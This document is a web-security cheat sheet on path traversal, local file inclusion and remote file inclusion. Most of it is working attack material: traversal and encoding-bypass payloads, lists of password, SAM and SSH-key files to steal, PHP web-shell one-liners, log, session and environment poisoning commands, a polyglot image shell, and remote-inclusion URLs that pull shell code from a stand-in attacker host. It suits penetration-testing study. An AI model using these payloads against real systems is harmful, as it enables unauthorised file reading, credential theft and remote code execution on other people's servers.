Path Traversal & File Inclusion
Path traversal (directory traversal) and file inclusion vulnerabilities allow attackers to read arbitrary files or execute code by manipulating file paths in web applications. This guide covers LFI, RFI, and advanced exploitation techniques.
Why Path Traversal Matters
Path traversal can expose sensitive configuration files, credentials, and source code. LFI can escalate to RCE through log poisoning, PHP wrappers, or proc exploitation. RFI directly enables code execution by including remote malicious files.
Danger
Tools & Resources
Understanding Path Traversal
Path traversal occurs when an application uses user input to construct file paths without
proper validation. Attackers use sequences like ../ to navigate outside
the intended directory.
Vulnerability Types
Path Traversal
Read files outside webroot using ../ sequences
LFI (Local File Inclusion)
Include and execute local files (PHP specific)
RFI (Remote File Inclusion)
Include and execute files from remote servers
Basic Path Traversal
Common Payloads
# Basic traversal
../../../etc/passwd
..\..\..\windows\win.ini
# Absolute path (if allowed)
/etc/passwd
C:\windows\win.ini
# URL encoded
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd (double encoding)
# Null byte (PHP < 5.3.4)
../../../etc/passwd%00
../../../etc/passwd%00.jpg
# Path truncation (Windows)
..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/passwdInteresting Files to Read
Linux Files
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/issue
/etc/group
/etc/crontab
/etc/ssh/sshd_config
/proc/self/environ
/proc/self/cmdline
/proc/version
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/auth.log
/var/log/syslog
/home/user/.bash_history
/home/user/.ssh/id_rsa
/root/.bash_historyWindows Files
C:\windows\win.ini
C:\windows\system32\config\sam
C:\windows\system32\config\system
C:\windows\system32\config\security
C:\windows\repair\sam
C:\windows\repair\system
C:\windows\php.ini
C:\xampp\apache\conf\httpd.conf
C:\xampp\php\php.ini
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\
C:\Users\Administrator\.ssh\id_rsa
C:\Program Files\MySQL\my.iniApplication-Specific Files
# Web application configs
.htaccess
.htpasswd
wp-config.php
config.php
configuration.php
database.yml
settings.py
.env
.git/config
composer.json
package.json
# Framework specific
# Laravel
../storage/logs/laravel.log
../.env
# WordPress
../wp-config.php
# Drupal
../sites/default/settings.php
# Tomcat
../conf/tomcat-users.xml
../conf/server.xmlFilter Bypass Techniques
Encoding Bypasses
# URL encoding
%2e%2e%2f = ../
%2e%2e/ = ../
..%2f = ../
%2e%2e%5c = ..\
# Double URL encoding
%252e%252e%252f = ../
..%252f = ../
# 16-bit Unicode encoding
%u002e%u002e%u002f = ../
..%u002f = ../
# Overlong UTF-8 encoding
%c0%ae%c0%ae%c0%af = ../
%e0%80%ae%e0%80%ae%e0%80%af = ../
# Mixed encoding
..%c0%af = ../
..%ef%bc%8f = ../Path Normalization Bypasses
# Doubled slashes
....//....//....//etc/passwd
....//../....//../....//../etc/passwd
# Backslash variations (Windows)
..\..\..\..\etc/passwd
....\\....\\....\\etc/passwd
# Mixed separators
../..\..//..\etc/passwd
# Current directory bypass
./../.../....//etc/passwd
./../.././../.././../../etc/passwd
# Adding extra characters
..;/..;/..;/etc/passwd
..%00/..%00/..%00/etc/passwdExtension Bypass
# Null byte (PHP < 5.3.4)
../../../etc/passwd%00.jpg
../../../etc/passwd%00.png
../../../etc/passwd\0.txt
# Path truncation (Windows, long paths)
../../../etc/passwd............[ADD MORE DOTS TO 256+ CHARS]
# Double extension
../../../etc/passwd.jpg
../../../etc/passwd%00.expected.ext
# Query string termination
../../../etc/passwd?.jpg
../../../etc/passwd#.jpgLocal File Inclusion (LFI)
LFI goes beyond simple file reading - in PHP applications, included files are executed as PHP code, enabling various RCE techniques.
PHP Wrappers
# Base64 encode file (read source code)
php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=config.php
# Read with different filters
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/convert.base64-encode/resource=index.php
# Data wrapper (RCE if allow_url_include=On)
data://text/plain,<?php system($_GET['cmd']); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
# Expect wrapper (RCE if expect:// installed)
expect://id
expect://ls
# Input wrapper (POST data as file content)
php://input
# POST: <?php system($_GET['cmd']); ?>
# Phar wrapper
phar://uploads/avatar.jpg/shell.phpLog Poisoning
# Step 1: Poison Apache access log via User-Agent
curl "http://target.com/" -A "<?php system($_GET['cmd']); ?>"
# Step 2: Include the log file
?page=../../../var/log/apache2/access.log&cmd=id
# Alternative log locations
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/httpd/access_log
/var/log/nginx/access.log
/var/log/auth.log (SSH log - use username as payload)
/var/log/mail.log
/proc/self/environ (inject via User-Agent header)
/proc/self/fd/0-99 (file descriptors)/proc/self/environ Poisoning
# Step 1: Inject payload in User-Agent
curl "http://target.com/index.php?page=../../../proc/self/environ" \
-A "<?php system($_GET['cmd']); ?>"
# Step 2: Access with command
curl "http://target.com/index.php?page=../../../proc/self/environ&cmd=id"
# The User-Agent appears in HTTP_USER_AGENT environment variableSession File Inclusion
# Step 1: Create session with PHP code
# Access: index.php?name=<?php system($_GET['cmd']); ?>
# This stores payload in session
# Step 2: Find session file location
/var/lib/php/sessions/sess_[SESSIONID]
/var/lib/php5/sessions/sess_[SESSIONID]
/tmp/sess_[SESSIONID]
C:\Windows\Temp\sess_[SESSIONID]
# Step 3: Include session file
?page=../../../var/lib/php/sessions/sess_abc123&cmd=id
# Get session ID from cookie
# Cookie: PHPSESSID=abc123Upload + LFI Combo
# Step 1: Upload image with PHP code in EXIF
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
# Or create polyglot
# Create GIF89a header with PHP code appended
echo -e 'GIF89a<?php system($_GET["cmd"]); ?>' > shell.gif
# Step 2: Upload as avatar/image
# Step 3: Include via LFI
?page=../../../uploads/avatars/shell.gif&cmd=id
?page=../../../uploads/image.jpg&cmd=idRemote File Inclusion (RFI)
Warning
allow_url_include = On in PHP, which is disabled by default
in modern PHP versions. It's still common in legacy applications.
Basic RFI Exploitation
# Host malicious PHP file on attacker server
# shell.txt (use .txt to avoid local execution)
<?php system($_GET['cmd']); ?>
# Include remote file
?page=http://attacker.com/shell.txt
?page=http://attacker.com/shell.txt?
?page=http://attacker.com/shell.txt%00
# Bypass extension filtering
?page=http://attacker.com/shell.txt?.php
?page=http://attacker.com/shell.txt%00.php
# Using data URI
?page=data://text/plain,<?php system($_GET['cmd']); ?>RFI via SMB (Windows)
# Set up SMB share on attacker machine
# Using Impacket smbserver
python smbserver.py share /path/to/share
# shell.php on SMB share
<?php system($_GET['cmd']); ?>
# Include via UNC path
?page=\\attacker-ip\share\shell.php
?page=//attacker-ip/share/shell.phpLFI to RCE Techniques
LFI2RCE Methods Summary
| Method | Requirements |
|---|---|
| Log Poisoning | Read access to log files |
| PHP Wrappers (data://) | allow_url_include=On |
| PHP Wrappers (expect://) | expect extension installed |
| php://input | allow_url_include=On |
| Session Inclusion | Session storage accessible |
| /proc/self/environ | Linux, readable proc filesystem |
| Upload + Include | File upload functionality |
| phpinfo() + Race | phpinfo() page accessible |
| Phar Deserialization | Upload + vulnerable unserialize |
PHP Filter Chain RCE
# PHP filter chain for arbitrary file content (no file upload needed!)
# This technique abuses iconv filters to generate arbitrary content
# Tool: https://github.com/synacktiv/php_filter_chain_generator
python php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]);?>'
# Output is a very long filter chain that generates the PHP code
# Example usage:
?page=php://filter/convert.iconv...[LONG CHAIN].../resource=/etc/passwd&cmd=idAutomated Testing
Using ffuf
# Fuzz for LFI with common payloads
ffuf -u "http://target.com/index.php?page=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0
# Test multiple parameters
ffuf -u "http://target.com/index.php?FUZZ=../../../etc/passwd" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs 0
# With encoding
ffuf -u "http://target.com/index.php?page=FUZZ" \
-w lfi-payloads.txt \
-e .php,.txt,.html \
-fs 0Using dotdotpwn
# HTTP module
dotdotpwn -m http -h target.com -x 80 -f /etc/passwd -k "root:" -d 8
# HTTP with specific URL
dotdotpwn -m http-url -u "http://target.com/view.php?file=TRAVERSAL" \
-k "root:" -d 8
# Options:
# -d: depth of traversal
# -k: keyword to detect success
# -f: file to read
# -o: output fileTesting Checklist
🔍 Detection
- ○ Test file parameters (?page=, ?file=, ?path=)
- ○ Test with ../../../etc/passwd
- ○ Check for path/file in POST parameters
- ○ Test cookie values with file paths
- ○ Check referer/user-agent handling
🔓 Bypass Testing
- ○ Try URL encoding variants
- ○ Test double encoding
- ○ Try null byte injection
- ○ Test path truncation
- ○ Mix forward/back slashes
📁 File Discovery
- ○ Read /etc/passwd, win.ini
- ○ Find application config files
- ○ Check for .env, config.php
- ○ Read web server configs
- ○ Extract SSH keys if possible
💥 RCE Escalation
- ○ Try PHP wrappers for RCE
- ○ Attempt log poisoning
- ○ Check session file inclusion
- ○ Test upload + LFI combo
- ○ Try /proc/self/environ